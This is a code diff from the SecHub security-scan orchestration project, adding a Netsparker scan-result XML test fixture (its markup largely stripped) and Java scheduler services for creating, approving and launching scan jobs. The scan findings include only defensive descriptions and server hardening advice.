a/sechub-scan/src/test/resources/netsparker/netsparker_v1.0.40.109_testresult1.xml b/sechub-scan/src/test/resources/netsparker/netsparker_v1.0.40.109_testresult1.xml new file mode 100644 index 0000000000..efaf8a42ff --- /dev/null +++ b/sechub-scan/src/test/resources/netsparker/netsparker_v1.0.40.109_testresult1.xml @@ -0,0 +1,393 @@ + + + + 93cc5894f38546f45f7aa8860366c07e + https://fscan.intranet.example.org/ + 13/02/2018 15:51 + 00:30:10.8284631 + + + + https://fscan.intranet.example.org/ + ApacheVersionDisclosure + Version Disclosure (Apache) + Low + 90 + False + Present + + + 45 + 205 + 170 + + + 164.306(a), 164.308(a) + + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






    +
    +


    1) Drop a file here or click to select.

    + +


    + + +
    2) Enter the code: +
    + [ Different Image ]


    +
    CAPTCHA Image

    + +

    +


    + Quickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    +
    + +]]>
    +
    + + + + + Netsparker Cloud identified a version disclosure (Apache) in the target web server's HTTP response.

    This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

    ]]>
    + An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.]]> + + + Configure your web server to prevent information leakage from the SERVER header of its HTTP response.]]> + ]]> + + +
    + + https://fscan.intranet.example.org/ + ApacheOutOfDate + Out-of-date Version (Apache) + Medium + 90 + False + Present + + A9 + + + 310 + 6.2 + 6.2 + + C1 + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






    +
    +


    1) Drop a file here or click to select.

    + +


    + + +
    2) Enter the code: +
    + [ Different Image ]


    +
    CAPTCHA Image

    + +

    +


    + Quickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    +
    + +]]>
    +
    + + + + + + + + + Apache Denial of Service Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Netsparker Cloud identified you are using an out-of-date version of Apache.

    ]]>
    + Since this is an old version of the software, it may be vulnerable to attacks.]]> + + +

    Please upgrade your installation of Apache to the latest stable version.

    ]]>
    + ]]> + + +
    + + https://fscan.intranet.example.org/ + WeakSignatureAlgorithmDetected + Certificate is Signed Using a Weak Signature Algorithm + High + 100 + True + Present + + A6 + 4 + + 459 + 6.5.4 + 6.5.4 + + C7 + + + + + GET + + + + 200 + 1 + + + + + + + Netsparker Cloud detected that a certificate is signed using a weak signature algorithm.

    The weak signature algorithm is known to be cryptographically weak and vulnerable to collision attacks.

    ]]>
    + Attackers can observe the encrypted traffic between your website and its visitors by leveraging the use of this vulnerability.]]> + + + You'll need to generate a new certificate request, and get your CA to issue you a new certificate using SHA-2.]]> + + ]]> + +
    + + https://fscan.intranet.example.org/ + TlsVersion1Support + Insecure Transportation Security Protocol Supported (TLS 1.0) + Low + 100 + True + Present + + A6 + 4 + 327 + 217 + 6.5.4 + 6.5.4 + + + + + + + GET + + + + 200 + 1 + + + + Netsparker Cloud detected that insecure transportation security protocol (TLS 1.0) is supported by your web server.

    TLS 1.0 has several flaws. An attacker can cause connection failures and they can trigger the use of TLS 1.0 to exploit vulnerabilities like BEAST (Browser Exploit Against SSL/TLS).

    Websites using TLS 1.0 will be considered non-compliant by PCI after 30 June 2018.

    ]]>
    + Attackers can perform man-in-the-middle attacks and observe the encryption traffic between your website and its visitors.]]> + + +

    Configure your web server to disallow using weak ciphers. You need to restart the web server to enable changes.

    • For Apache, adjust the SSLProtocol directive provided by the mod_ssl module. This directive can be set either at the server level or in a virtual host configuration.
      SSLProtocol +TLSv1.1 +TLSv1.2
      +
    • For Nginx, locate any use of the directive ssl_protocols in the nginx.conf file and remove TLSv1.
      ssl_protocols TLSv1.1 TLSv1.2;
      +
    • For Microsoft IIS, you should make some changes on the system registry.
      1. Click on Start and then Run, type regedt32 or regedit, and then click OK.
      2. In Registry Editor, locate the following registry key or create if it does not exist:
        HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\
        +
      3. Locate a key named Server or create if it doesn't exist.
      4. Under the Server key, locate a DWORD value named Enabled or create if it doesn't exist and set its value to "0".
    ]]>
    + + ]]> + +
    +
    +
    \ No newline at end of file diff --git a/sechub-schedule/build.gradle b/sechub-schedule/build.gradle new file mode 100644 index 0000000000..4ca05a6cc0 --- /dev/null +++ b/sechub-schedule/build.gradle @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile(library.springboot_starter_batch) + compile project(':sechub-shared-kernel') + testCompile project(':sechub-testframework') +} + diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionResult.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionResult.java new file mode 100644 index 0000000000..4e2d6b0dbf --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionResult.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +public enum ExecutionResult { + + /** + * No execution triggered + */ + NONE, + + /** + * Execution was DONE without failure on execution. This information is only + * about the execution process - e.g. a Scan which finds vulnerabilities and + * found 3 HIGH level CVEs will return OK when the scan was done and the + * reporting fulfilled ! + * + */ + OK, + + /** + * Execution was NOT DONE because of with failures - This information is only + * about the execution process - e.g. the scan would not find any CVEs but the + * scan server is done than FAILED will be returned! + */ + FAILED, + + /* + * TODO Albert Tregnaghi, 2018-01-30: it would be nice to have a CANCELED in future - but + * only when this use case is implemented... + */ + ; + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionState.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionState.java new file mode 100644 index 0000000000..33ae5dc4e2 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ExecutionState.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +public enum ExecutionState { + + INITIALIZING("Initializing. E.g. Workspace has pending uploads etc."), + + READY_TO_START("No state information available"), + + STARTED("Is started"), + + CANCEL_REQUESTED("A cancel was requested - but not ended now"), + + ENDED(""); + + private String description; + + private ExecutionState(String description) { + this.description = description; + } + + public String getDescription() { + return description; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/RetryContext.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/RetryContext.java new file mode 100644 index 0000000000..8904405c22 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/RetryContext.java @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +/** + * A simple class to handle retries. A maximum is defined at constructor time. + * By a an getter it is possible to determine if next retry is possible or not. + *
    + *
    + * + * @author Albert Tregnaghi + * + */ +public class RetryContext { + + private int maximum; + private int executionFailedCount; + private long timeToWaitOnRetryDoneInMillis; + private boolean executionDone; + private boolean fatalFailure; + + /** + * Defining a maximum of 1 means: one execution failed no retry possible. maximim=2 means. one execution failed retry possible, another failed no retry possible + * @param maximum + */ + public RetryContext(int maximum) { + this.maximum = maximum; + } + + /** + * Set time to wait after one retry is done + * @param timeToWaitInMillis + */ + public RetryContext setRetryTimeToWait(long timeToWaitInMillis) { + this.timeToWaitOnRetryDoneInMillis = timeToWaitInMillis; + return this; + } + + public void markAsFatalFailure() { + this.executionDone=false; + this.executionFailedCount++; + this.fatalFailure=true; + } + + /** + * @return true when more retries are possible and not already done + */ + public boolean isRetryPossible() { + if (fatalFailure) { + return false; + } + if (executionDone) { + return false; + } + return maximum > executionFailedCount; + } + + public int getExecutionFailedCount() { + return executionFailedCount; + } + + /** + * Mark this execution as failed and waits time defined by {@link #setRetryTimeToWait(long)} + */ + public void executionFailed() { + executionFailedCount++; + waitForNextRetry(); + } + + /** + * Mark execution as done. So no retries possible any longer! + */ + public void executionDone() { + this.executionDone=true; + } + + public boolean isExecutionDone() { + return executionDone; + } + + private void waitForNextRetry() { + if (timeToWaitOnRetryDoneInMillis==0) { + return; + } + try { + Thread.sleep(timeToWaitOnRetryDoneInMillis); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleAssertService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleAssertService.java new file mode 100644 index 0000000000..411ffe3db9 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleAssertService.java @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import java.util.Optional; +import java.util.UUID; + +import javax.validation.Valid; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.access.ScheduleUserAccessToProjectValidationService; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhiteListSecHubConfigurationValidationService; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +@Service +public class ScheduleAssertService { + + @Autowired + private SecHubJobRepository jobRepository; + + @Autowired + ScheduleUserAccessToProjectValidationService userAccessValidation; + + @Autowired + ProjectWhiteListSecHubConfigurationValidationService executionIsInWhiteListValidation; + + /** + * Assert current logged in user has access to project + * @param projectId + */ + public void assertUserHasAccessToProject(String projectId) { + userAccessValidation.assertUserHasAccessToProject(projectId); + } + + /** + * Asserts execution is allowed for given configuration + * @param configuration + */ + public void assertExecutionAllowed(@Valid SecHubConfiguration configuration) { + executionIsInWhiteListValidation.assertAllowedForProject(configuration); + } + + /** + * Asserts a job is existing and returns the job + * @param projectId + * @param jobUUID + * @return job, never null + */ + public ScheduleSecHubJob assertJob(String projectId, UUID jobUUID) { + Optional secHubJob = jobRepository.findForProject(projectId, jobUUID); + if (!secHubJob.isPresent()) { + // we say "... or you have no access - just to obfuscate... so it's not clear to + // bad guys the got a target... + throw new NotFoundException("Job does not exist, or you have no access."); + } + return secHubJob.get(); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleErrorIDConstants.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleErrorIDConstants.java new file mode 100644 index 0000000000..2757171b94 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleErrorIDConstants.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +public class ScheduleErrorIDConstants { + + private ScheduleErrorIDConstants() { + } + + public static final String CRITICAL = "CRITICAL:"; +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleFailedException.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleFailedException.java new file mode 100644 index 0000000000..44cef8986c --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleFailedException.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +public class ScheduleFailedException extends RuntimeException { + + private static final long serialVersionUID = -6228152266345847909L; + + public ScheduleFailedException(Exception cause) { + super(cause); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherService.java new file mode 100644 index 0000000000..96492b335d --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherService.java @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.domain.schedule.SchedulingConstants.*; + +import java.time.LocalDateTime; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.batch.core.Job; +import org.springframework.batch.core.JobExecution; +import org.springframework.batch.core.JobParameters; +import org.springframework.batch.core.JobParametersBuilder; +import org.springframework.batch.core.JobParametersInvalidException; +import org.springframework.batch.core.repository.JobExecutionAlreadyRunningException; +import org.springframework.batch.core.repository.JobInstanceAlreadyCompleteException; +import org.springframework.batch.core.repository.JobRestartException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.batch.AsyncJobLauncher; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.JobMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseSchedulerStartsJob; + +/** + * This service is only responsible of job execution for given {@link ScheduleSecHubJob} + * + * @author Albert Tregnaghi + * + */ +@Service +public class ScheduleJobLauncherService { + + private static final Logger LOG = LoggerFactory.getLogger(ScheduleJobLauncherService.class); + + @Autowired + DomainMessageService eventBus; + + @Autowired + AsyncJobLauncher jobLauncher; + + @Autowired + Job job; + + @UseCaseSchedulerStartsJob(@Step(number = 2, next = { 3, + 4 }, + name = "Execution", + description = "Starts a spring boot batch job which does execute the scan asynchronous. If spring boot batch job cannot be started the next steps will not be executed.")) + public void executeJob(ScheduleSecHubJob secHubJob) { + String secHubJobUUID = secHubJob.getUUID().toString(); + LOG.debug("Execute job:{}", secHubJobUUID); + + JobParametersBuilder builder = new JobParametersBuilder(); + builder.addString(BATCHPARAM_SECHUB_UUID, secHubJobUUID); + + try { + /* prepare batch job */ + JobParameters jobParameters = builder.toJobParameters(); + + /* launch batch job */ + LOG.debug("Trigger batch job launch :{}", secHubJobUUID); + JobExecution execution = jobLauncher.run(job, jobParameters); + + /* job is launched - inspect batch job internal id */ + Long batchJobId = execution.getJobId(); + LOG.debug("Execution triggered: {} has batch-ID:{}", secHubJobUUID, batchJobId); + + /* send domain event */ + sendJobStarted(secHubJob.getProjectId(), secHubJob.getUUID(), secHubJob.getJsonConfiguration(), secHubJob.getOwner()); + + } catch (JobExecutionAlreadyRunningException | JobRestartException | JobInstanceAlreadyCompleteException | JobParametersInvalidException e) { + /* + * we do not need to send a "jobEnded" event, because in this case job was never started + */ + LOG.error("Not able to run batch job for sechhub :{}", secHubJobUUID); + throw new ScheduleFailedException(e); + } + + } + + @IsSendingAsyncMessage(MessageID.JOB_STARTED) + private void sendJobStarted(String projectId, UUID jobUUID, String configuration, String owner) { + DomainMessage request = new DomainMessage(MessageID.JOB_STARTED); + JobMessage message = new JobMessage(); + message.setProjectId(projectId); + message.setJobUUID(jobUUID); + message.setConfiguration(configuration); + message.setOwner(owner); + message.setSince(LocalDateTime.now()); + + request.set(MessageDataKeys.JOB_STARTED_DATA, message); + + eventBus.sendAsynchron(request); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerService.java new file mode 100644 index 0000000000..155824e062 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerService.java @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import java.time.LocalDateTime; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; + +/** + * This service is only reponsible to mark next {@link ScheduleSecHubJob} to execute. + * This is done inside a transaction. Doing this inside an own service will hold the + * transaction only to this service and end it. + * @author Albert Tregnaghi + * + */ +@Service +public class ScheduleJobMarkerService { + + private static final Logger LOG = LoggerFactory.getLogger(ScheduleJobMarkerService.class); + + @Autowired + SecHubJobRepository jobRepository; + + /** + * @return either schedule job to execute, or null if no one has to be executed + */ + @Transactional + public ScheduleSecHubJob markNextJobExecutedByThisPOD() { + + if (LOG.isTraceEnabled()) { + /*NOSONAR*/LOG.trace("Trigger execution of next job started"); + } + + Optional secHubJobOptional = jobRepository.findNextJobToExecute(); + if (!secHubJobOptional.isPresent()) { + if (LOG.isTraceEnabled()) { + /*NOSONAR*/LOG.trace("No job found."); + } + return null; + } + ScheduleSecHubJob secHubJob = secHubJobOptional.get(); + secHubJob.setExecutionState(ExecutionState.STARTED); + secHubJob.setStarted(LocalDateTime.now()); + return jobRepository.save(secHubJob); + } + + @Transactional + public void markJobExecutionFailed(ScheduleSecHubJob secHubJob) { + if (secHubJob==null) { + return; + } + if (LOG.isTraceEnabled()) { + /*NOSONAR*/LOG.trace("Mark execution failed for job:{}",secHubJob.getUUID()); + } + secHubJob.setExecutionResult(ExecutionResult.FAILED); + secHubJob.setExecutionState(ExecutionState.ENDED); + secHubJob.setEnded(LocalDateTime.now()); + jobRepository.save(secHubJob); + } +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobStatus.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobStatus.java new file mode 100644 index 0000000000..47caaf7dda --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleJobStatus.java @@ -0,0 +1,110 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.UUID; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.type.TrafficLight; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +/** + * This class represents the schedule job status which can be obtained by REST + * + * @author Albert Tregnaghi + * + */ +@JsonAutoDetect(fieldVisibility = Visibility.ANY, getterVisibility = Visibility.NONE, setterVisibility = Visibility.NONE) +@JsonIgnoreProperties(ignoreUnknown = true) +@MustBeKeptStable("This is the job status returned from REST API. Must be kept stable for cli client and other systems") +public class ScheduleJobStatus implements JSONable { + + public static final ScheduleJobStatus OBJECT = new ScheduleJobStatus(); + + public static final String PROPERTY_JOBUUID = "jobUUID"; + /** + * The "owner" is only the user who started the job. Don't mix up with entity "Owner" who is responsible for the projects! + */ + public static final String PROPERTY_OWNER= "owner"; + public static final String PROPERTY_CREATED= "created"; + public static final String PROPERTY_STARTED = "started"; + public static final String PROPERTY_ENDED= "ended"; + public static final String PROPERTY_STATE= "state"; + public static final String PROPERTY_RESULT= "result"; + public static final String PROPERTY_TRAFFICLIGHT= "trafficLight"; + + + UUID jobUUID; + + String owner; + + String created; + String started; + String ended; + + String state; + String result; + + String trafficLight; + + ScheduleJobStatus() { + + } + + public ScheduleJobStatus(ScheduleSecHubJob secHubJob) { + this.jobUUID = secHubJob.getUUID(); + + /* + * why are nearly all parts represented as string and not direct parts? because + * I didn't like "null" appearing in output to user - thats all + */ + this.owner = secHubJob.getOwner(); + + this.created = convertToString(secHubJob.getCreated()); + this.started = convertToString(secHubJob.getStarted()); + this.ended = convertToString(secHubJob.getEnded()); + + this.state = convertToString(secHubJob.getExecutionState()); + this.result = convertToString(secHubJob.getExecutionResult()); + this.trafficLight = convertToString(secHubJob.getTrafficLight()); + } + + private String convertToString(ExecutionResult result) { + if (result == null) { + return ""; + } + return result.name(); + } + + private String convertToString(ExecutionState state) { + if (state == null) { + return ""; + } + return state.name(); + } + + private String convertToString(TrafficLight trafficLight) { + if (trafficLight == null) { + return ""; + } + return trafficLight.name(); + } + + private String convertToString(LocalDateTime localDateTime) { + if (localDateTime == null) { + return ""; + } + return localDateTime.format(DateTimeFormatter.ISO_LOCAL_DATE_TIME); + } + + @Override + public Class getJSONTargetClass() { + return ScheduleJobStatus.class; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandler.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandler.java new file mode 100644 index 0000000000..f62665f292 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandler.java @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.schedule.access.ScheduleGrantUserAccessToProjectService; +import com.daimler.sechub.domain.schedule.access.ScheduleRevokeUserAccessAtAllService; +import com.daimler.sechub.domain.schedule.access.ScheduleRevokeUserAccessFromProjectService; +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhiteListUpdateService; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.ProjectMessage; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Component +public class ScheduleMessageHandler implements AsynchronMessageHandler{ + + + private static final Logger LOG = LoggerFactory.getLogger(ScheduleMessageHandler.class); + + + @Autowired + ScheduleGrantUserAccessToProjectService grantService; + + @Autowired + ScheduleRevokeUserAccessFromProjectService revokeUserFromProjectService; + + @Autowired + ScheduleRevokeUserAccessAtAllService revokeUserService; + + @Autowired + ProjectWhiteListUpdateService projectWhiteListUpdateService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + LOG.debug("received domain request: {}", request); + + switch (messageId) { + case USER_ADDED_TO_PROJECT: + handleUserAddedToProject(request); + break; + case USER_REMOVED_FROM_PROJECT: + handleUserRemovedFromProject(request); + break; + case USER_DELETED: + handleUserDeleted(request); + break; + case PROJECT_CREATED: + handleProjectCreated(request); + break; + case PROJECT_WHITELIST_UPDATED: + handleProjectWhiteListUpdated(request); + break; + default: + throw new IllegalStateException("unhandled message id:"+messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.PROJECT_CREATED) + private void handleProjectCreated(DomainMessage request) { + ProjectMessage data = request.get(MessageDataKeys.PROJECT_CREATION_DATA); + updateWhiteList(data); + } + + @IsReceivingAsyncMessage(MessageID.PROJECT_WHITELIST_UPDATED) + private void handleProjectWhiteListUpdated(DomainMessage request) { + ProjectMessage data = request.get(MessageDataKeys.PROJECT_WHITELIST_UPDATE_DATA); + updateWhiteList(data); + } + + @IsReceivingAsyncMessage(MessageID.USER_ADDED_TO_PROJECT) + private void handleUserAddedToProject(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.PROJECT_TO_USER_DATA); + grantService.grantUserAccessToProject(data.getUserId(),data.getProjectId()); + } + + @IsReceivingAsyncMessage(MessageID.USER_REMOVED_FROM_PROJECT) + private void handleUserRemovedFromProject(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.PROJECT_TO_USER_DATA); + revokeUserFromProjectService.revokeUserAccessFromProject(data.getUserId(), data.getProjectId()); + } + + @IsReceivingAsyncMessage(MessageID.USER_DELETED) + private void handleUserDeleted(DomainMessage request) { + UserMessage data = request.get(MessageDataKeys.USER_DELETE_DATA); + revokeUserService.revokeUserAccess(data.getUserId()); + } + + private void updateWhiteList(ProjectMessage data) { + projectWhiteListUpdateService.update(data.getProjectId(),data.getWhitelist()); + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java new file mode 100644 index 0000000000..1f648a0a6c --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserApprovesJob; + +@Service +public class SchedulerApproveJobService { + + private static final Logger LOG = LoggerFactory.getLogger(SchedulerApproveJobService.class); + + @Autowired + private SecHubJobRepository jobRepository; + + @Autowired + ScheduleAssertService assertService; + + @UseCaseUserApprovesJob(@Step(number = 2, name = "Try to find project annd update execution state", description = "When project is found and user has access and job is initializing the state will be updated and marked as ready for execution")) + public void approveJob(String projectId, UUID jobUUID) { + notEmpty(projectId, "Project id may not be empty!"); + notNull(jobUUID, "jobUUID may not be null!"); + + assertService.assertUserHasAccessToProject(projectId); + + ScheduleSecHubJob secHubJob = assertService.assertJob(projectId, jobUUID); + ExecutionState state = secHubJob.getExecutionState(); + if (! ExecutionState.INITIALIZING.equals(state)) { + throw new NotAcceptableException("Not in correct state"); + } + secHubJob.setExecutionState(ExecutionState.READY_TO_START); + jobRepository.save(secHubJob); + LOG.info("job {} now approved", jobUUID); + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerConfig.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerConfig.java new file mode 100644 index 0000000000..fc48c51ad0 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerConfig.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableScheduling; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@ConditionalOnProperty(value = "sechub.config.scheduling.enable", havingValue = "true", matchIfMissing = true) +@Configuration +@EnableScheduling +@MustBeDocumented("Scheduling can be turned off in tests by using condition!") +public class SchedulerConfig { + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobService.java new file mode 100644 index 0000000000..af0bbe7bf0 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobService.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.domain.schedule.job.SecHubJobTraceLogID.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import javax.validation.Valid; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobFactory; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserCreatesNewJob; + +@Service +public class SchedulerCreateJobService { + + private static final Logger LOG = LoggerFactory.getLogger(SchedulerCreateJobService.class); + + @Autowired + private SecHubJobRepository jobRepository; + + @Autowired + private SecHubJobFactory secHubJobFactory; + + @Autowired + ScheduleAssertService assertService; + + @Validated + @UseCaseUserCreatesNewJob(@Step(number = 2, name = "Persistence and result", description = "Persist a new job entry and return Job UUID")) + public SchedulerResult createJob(String projectId, @Valid SecHubConfiguration configuration) { + notEmpty(projectId, "Project id may not be empty!"); + notNull(configuration, "configuration may not be null!"); + + /* we set the project id into configuration done by used url! */ + configuration.setProjectId(projectId); + + assertService.assertUserHasAccessToProject(projectId); + assertService.assertExecutionAllowed(configuration); + + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(configuration); + jobRepository.save(secHubJob); + + if (LOG.isInfoEnabled()) { + LOG.info("New job added:{}", traceLogID(secHubJob)); + } + return new SchedulerResult(secHubJob.getUUID()); + } + + + + +} \ No newline at end of file diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusService.java new file mode 100644 index 0000000000..768f50ef2b --- /dev/null +++ 